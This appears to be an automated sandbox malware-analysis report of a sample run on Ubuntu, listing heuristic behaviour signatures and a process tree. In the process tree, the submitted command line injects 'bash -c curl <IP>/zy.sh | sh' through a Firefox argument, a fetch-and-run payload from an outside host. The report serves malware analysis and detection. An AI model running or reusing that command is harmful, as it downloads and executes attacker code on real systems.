Analysis
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max time kernel
43s -
max time network
128s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20250610-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20250610-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
03/07/2025, 05:56
Static task
static1
URLScan task
urlscan1
General
Malware Config
Signatures
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Checks hardware identifiers (DMI) 1 TTPs 1 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name firefox-bin -
Reads hardware information 1 TTPs 1 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_sku firefox-bin -
Changes its process name 64 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself AsyncSi~lThread 2049 firefox-bin Changes the process name, possibly in an attempt to hide itself pool-spawner 2052 firefox-bin Changes the process name, possibly in an attempt to hide itself gmain 2053 firefox-bin Changes the process name, possibly in an attempt to hide itself gdbus 2059 firefox-bin Changes the process name, possibly in an attempt to hide itself glean.dispatche 2061 firefox-bin Changes the process name, possibly in an attempt to hide itself IPC I/O Parent 2063 firefox-bin Changes the process name, possibly in an attempt to hide itself IPC I/O Parent 2063 firefox-bin Changes the process name, possibly in an attempt to hide itself IPC I/O Parent 2063 firefox-bin Changes the process name, possibly in an attempt to hide itself Timer 2064 firefox-bin Changes the process name, possibly in an attempt to hide itself Timer 2064 firefox-bin Changes the process name, possibly in an attempt to hide itself Netlink Monitor 2065 firefox-bin Changes the process name, possibly in an attempt to hide itself Netlink Monitor 2065 firefox-bin Changes the process name, possibly in an attempt to hide itself Socket Thread 2066 firefox-bin Changes the process name, possibly in an attempt to hide itself Socket Thread 2066 firefox-bin Changes the process name, possibly in an attempt to hide itself IPDL Background 2067 firefox-bin Changes the process name, possibly in an attempt to hide itself IPDL Background 2067 firefox-bin Changes the process name, possibly in an attempt to hide itself Backgro~Pool #1 2068 firefox-bin Changes the process name, possibly in an attempt to hide itself Backgro~Pool #1 2068 firefox-bin Changes the process name, possibly in an attempt to hide itself pool-firefox 2070 firefox-bin Changes the process name, possibly in an attempt to hide itself pool-firefox 2073 firefox-bin Changes the process name, possibly in an attempt to hide itself pool-firefox 2074 firefox-bin Changes the process name, possibly in an attempt to hide itself glxtest:disk$0 2075 glxtest Changes the process name, possibly in an attempt to hide itself HTML5 Parser 2076 firefox-bin Changes the process name, possibly in an attempt to hide itself HTML5 Parser 2076 firefox-bin Changes the process name, possibly in an attempt to hide itself JS Watchdog 2078 firefox-bin Changes the process name, possibly in an attempt to hide itself JS Watchdog 2078 firefox-bin Changes the process name, possibly in an attempt to hide itself BGReadURLs 2079 firefox-bin Changes the process name, possibly in an attempt to hide itself BGReadURLs 2079 firefox-bin Changes the process name, possibly in an attempt to hide itself Cache2 I/O 2080 firefox-bin Changes the process name, possibly in an attempt to hide itself Cache2 I/O 2080 firefox-bin Changes the process name, possibly in an attempt to hide itself Cookie 2081 firefox-bin Changes the process name, possibly in an attempt to hide itself Cookie 2081 firefox-bin Changes the process name, possibly in an attempt to hide itself StreamTrans #1 2082 firefox-bin Changes the process name, possibly in an attempt to hide itself StreamTrans #1 2082 firefox-bin Changes the process name, possibly in an attempt to hide itself TaskCon~ller #0 2083 firefox-bin Changes the process name, possibly in an attempt to hide itself TaskCon~ller #1 2084 firefox-bin Changes the process name, possibly in an attempt to hide itself BgIOThr~Pool #1 2085 firefox-bin Changes the process name, possibly in an attempt to hide itself BgIOThr~Pool #1 2085 firefox-bin Changes the process name, possibly in an attempt to hide itself BgIOThr~Pool #2 2086 firefox-bin Changes the process name, possibly in an attempt to hide itself BgIOThr~Pool #2 2086 firefox-bin Changes the process name, possibly in an attempt to hide itself Worker Launcher 2087 firefox-bin Changes the process name, possibly in an attempt to hide itself Worker Launcher 2087 firefox-bin Changes the process name, possibly in an attempt to hide itself QuotaManager IO 2088 firefox-bin Changes the process name, possibly in an attempt to hide itself QuotaManager IO 2088 firefox-bin Changes the process name, possibly in an attempt to hide itself Softwar~cThread 2089 firefox-bin Changes the process name, possibly in an attempt to hide itself Softwar~cThread 2089 firefox-bin Changes the process name, possibly in an attempt to hide itself Softwar~cThread 2089 firefox-bin Changes the process name, possibly in an attempt to hide itself Renderer 2090 firefox-bin Changes the process name, possibly in an attempt to hide itself WRWorker#0 2091 firefox-bin Changes the process name, possibly in an attempt to hide itself Renderer 2090 firefox-bin Changes the process name, possibly in an attempt to hide itself WRWorker#0 2091 firefox-bin Changes the process name, possibly in an attempt to hide itself WRWorkerLP#0 2092 firefox-bin Changes the process name, possibly in an attempt to hide itself WRWorkerLP#0 2092 firefox-bin Changes the process name, possibly in an attempt to hide itself Glyph rasterize 2093 firefox-bin Changes the process name, possibly in an attempt to hide itself WrGlyph~terizer 2093 firefox-bin Changes the process name, possibly in an attempt to hide itself Compositor 2094 firefox-bin Changes the process name, possibly in an attempt to hide itself Compositor 2094 firefox-bin Changes the process name, possibly in an attempt to hide itself CanvasRenderer 2095 firefox-bin Changes the process name, possibly in an attempt to hide itself CanvasRenderer 2095 firefox-bin Changes the process name, possibly in an attempt to hide itself ImageIO 2096 firefox-bin Changes the process name, possibly in an attempt to hide itself ImageIO 2096 firefox-bin Changes the process name, possibly in an attempt to hide itself IPC Launch 2097 firefox-bin Changes the process name, possibly in an attempt to hide itself IPC Launch 2097 firefox-bin Changes the process name, possibly in an attempt to hide itself Permission 2099 firefox-bin -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo firefox-bin -
Reads CPU attributes 1 TTPs 10 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/present firefox-bin File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq firefox-bin File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size firefox-bin File opened for reading /sys/devices/system/cpu/possible firefox-bin File opened for reading /sys/devices/system/cpu/present firefox-bin File opened for reading /sys/devices/system/cpu/possible firefox-bin File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size firefox-bin File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus firefox-bin File opened for reading /sys/devices/system/cpu/possible glxtest File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity glxtest -
Enumerates kernel/hardware configuration 1 TTPs 42 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/pci/devices/0000:00:04.0/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:04.0/class glxtest File opened for reading /sys/bus/pci/devices glxtest File opened for reading /sys/bus/pci/devices/0000:00:05.0/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:02.0/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.1/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.0/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:05.0/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:04.0/vendor glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/subsystem_vendor glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/subsystem_device glxtest File opened for reading /sys/fs/cgroup/system.slice/agent.service/cpu.max firefox-bin File opened for reading /sys/devices/system/node firefox-bin File opened for reading /sys/bus/pci/devices/0000:00:03.0/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:03.0/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:00.0/device glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/vendor glxtest File opened for reading /sys/fs/cgroup/system.slice/agent.service/cpu.max firefox-bin File opened for reading /sys/module/apparmor/parameters/enabled dbus-daemon File opened for reading /sys/bus/pci/devices/0000:00:06.0/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:06.0/class glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/drm/card1 firefox-bin File opened for reading /sys/bus/pci/devices/0000:00:00.0/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:00.0/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:05.0/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:02.0/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:03.0/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.3/class glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/uevent glxtest File opened for reading /sys/bus/pci/devices/0000:00:02.0/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:06.0/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.1/class glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.3/device glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.0/vendor glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/device glxtest File opened for reading /sys/class/drm/card0/device/boot_vga glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0/drm/renderD128 firefox-bin File opened for reading /sys/kernel/security/apparmor/features/dbus/mask dbus-daemon File opened for reading /sys/bus/pci/devices/0000:00:01.3/vendor glxtest File opened for reading /sys/devices/pci0000:00/0000:00:02.0 firefox-bin File opened for reading /sys/bus/pci/devices/0000:00:01.1/vendor glxtest File opened for reading /sys/bus/pci/devices/0000:00:01.0/device glxtest -
description ioc Process File opened for reading /proc/self/fd/40 firefox-bin File opened for reading /proc/self/mountinfo firefox-bin File opened for reading /proc/mounts dbus-daemon File opened for reading /proc/2193/stat firefox-bin File opened for reading /proc/2101/stat firefox-bin File opened for reading /proc/self/fd/44 firefox-bin File opened for reading /proc/self/fd/102 firefox-bin File opened for reading /proc/self/stat firefox-bin File opened for reading /proc/filesystems gvfsd-fuse File opened for reading /proc/self/fd/80 firefox-bin File opened for reading /proc/2256/stat firefox-bin File opened for reading /proc/self/maps firefox-bin File opened for reading /proc/sys/kernel/cap_last_cap dbus-daemon File opened for reading /proc/filesystems firefox-bin File opened for reading /proc/2156/cmdline dbus-daemon File opened for reading /proc/self/task/2196/stat firefox-bin File opened for reading /proc/self/task/2239/stat firefox-bin File opened for reading /proc/2109/cmdline dbus-daemon File opened for reading /proc/self/cgroup firefox-bin File opened for reading /proc/filesystems firefox-bin File opened for reading /proc/filesystems xdg-document-portal File opened for reading /proc/self/status firefox-bin File opened for reading /proc/self/mountinfo firefox-bin File opened for reading /proc/self/task/2103/stat firefox-bin File opened for reading /proc/self/task/2203/stat firefox-bin File opened for reading /proc/self/fd/88 firefox-bin File opened for reading /proc/self/fd/96 firefox-bin File opened for reading /proc/2150/cmdline dbus-daemon File opened for reading /proc/self/fd/56 firefox-bin File opened for reading /proc/2245/stat firefox-bin File opened for reading /proc/self/fd dbus-daemon File opened for reading /proc/2058/attr/apparmor/current dbus-daemon File opened for reading /proc/filesystems xdg-permission-store File opened for reading /proc/self/task/2172/comm xdg-desktop-portal File opened for reading /proc/self/fd/66 firefox-bin File opened for reading /proc/self/task/2247/stat firefox-bin File opened for reading /proc/self/fd dbus-launch File opened for reading /proc/filesystems dbus-daemon File opened for reading /proc/self/fd/16 firefox-bin File opened for reading /proc/self/maps firefox-bin File opened for reading /proc/self/fd/118 firefox-bin File opened for reading /proc/self/task/2260/stat firefox-bin File opened for reading /proc/self/cgroup firefox-bin File opened for reading /proc/filesystems at-spi-bus-launcher File opened for reading /proc/2106/cmdline dbus-daemon File opened for reading /proc/self/fd/54 firefox-bin File opened for reading /proc/filesystems glxtest File opened for reading /proc/filesystems xdg-desktop-portal File opened for reading /proc/2133/cmdline dbus-daemon File opened for reading /proc/2145/cmdline dbus-daemon File opened for reading /proc/2058/status dbus-daemon File opened for reading /proc/filesystems xdg-desktop-portal-gtk File opened for reading /proc/filesystems gvfsd File opened for reading /proc/self/task/2038/stat firefox-bin File opened for reading /proc/self/stat firefox-bin File opened for reading /proc/2036/cmdline dbus-daemon File opened for reading /proc/self/fd/38 firefox-bin File opened for reading /proc/self/fd/46 firefox-bin File opened for reading /proc/2126/cmdline dbus-daemon -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/firefox/.parentlock firefox-bin -
cURL User-Agent 11 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 27 curl/8.5.0 HTTP User-Agent header 32 curl/8.5.0 HTTP User-Agent header 36 curl/8.5.0 HTTP User-Agent header 26 curl/8.5.0 HTTP User-Agent header 28 curl/8.5.0 HTTP User-Agent header 29 curl/8.5.0 HTTP User-Agent header 30 curl/8.5.0 HTTP User-Agent header 31 curl/8.5.0 HTTP User-Agent header 33 curl/8.5.0 HTTP User-Agent header 34 curl/8.5.0 HTTP User-Agent header 35 curl/8.5.0
Processes
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/usr/bin/firefoxfirefox -new-tab "http://bash -c \"curl 158.51.126.131/zy.sh -o- | sh\";echo -n \"H4G0dNRhNFbAIEs3Zt1kvQAnGsk74yXUKHCfnRVLMHR3HYcpf2N1CWn8QBblXcmT5yH16"1⤵PID:2036
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/usr/lib/firefox/firefox-binfirefox -new-tab "http://bash -c \"curl 158.51.126.131/zy.sh -o- | sh\";echo -n \"H4G0dNRhNFbAIEs3Zt1kvQAnGsk74yXUKHCfnRVLMHR3HYcpf2N1CWn8QBblXcmT5yH16"1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:2036 -
/usr/lib/firefox/crashhelper/usr/lib/firefox/crashhelper 2036 9 /tmp/ 10 122⤵PID:2050
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/usr/local/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2054
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/usr/local/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2054
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/usr/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2054
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/usr/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵
- Reads runtime system information
PID:2054 -
/usr/bin/dbus-daemon/usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2056 -
/usr/libexec/xdg-desktop-portal/usr/libexec/xdg-desktop-portal4⤵
- Reads runtime system information
PID:2106
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/usr/libexec/at-spi-bus-launcher/usr/libexec/at-spi-bus-launcher4⤵
- Reads runtime system information
PID:2109
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/usr/libexec/xdg-document-portal/usr/libexec/xdg-document-portal4⤵
- Reads runtime system information
PID:2126 -
/usr/bin/fusermount3fusermount3 -o "rw,nosuid,nodev,fsname=portal,auto_unmount,subtype=portal" -- /root/.cache/doc5⤵PID:2140
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/usr/libexec/xdg-permission-store/usr/libexec/xdg-permission-store4⤵
- Reads runtime system information
PID:2133
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/usr/libexec/xdg-desktop-portal-gtk/usr/libexec/xdg-desktop-portal-gtk4⤵
- Reads runtime system information
PID:2145
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/usr/libexec/gvfsd/usr/libexec/gvfsd4⤵
- Reads runtime system information
PID:2150 -
/usr/libexec/gvfsd-fuse/usr/libexec/gvfsd-fuse /root/.gvfs -f5⤵
- Reads runtime system information
PID:2156
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/usr/local/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2060
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/usr/local/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2060
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/usr/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2060
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/usr/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2060
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/usr/lib/firefox/glxtest/usr/lib/firefox/glxtest -f 172⤵
- Changes its process name
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2062
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/usr/local/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2069
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/usr/local/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2069
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/usr/sbin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2069
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/usr/bin/dbus-launchdbus-launch "--autolaunch=36e6eb39a6fa405996e79cad2731865d" --binary-syntax --close-stderr2⤵PID:2069
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/usr/lib/firefox/firefox-bin/usr/lib/firefox/firefox-bin -contentproc -ipcHandle 0 -initialChannelId "{0cd4c6bc-69f1-486e-bc88-aabae6e45197}" -parentPid 2036 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser 1 forkserver2⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:2098
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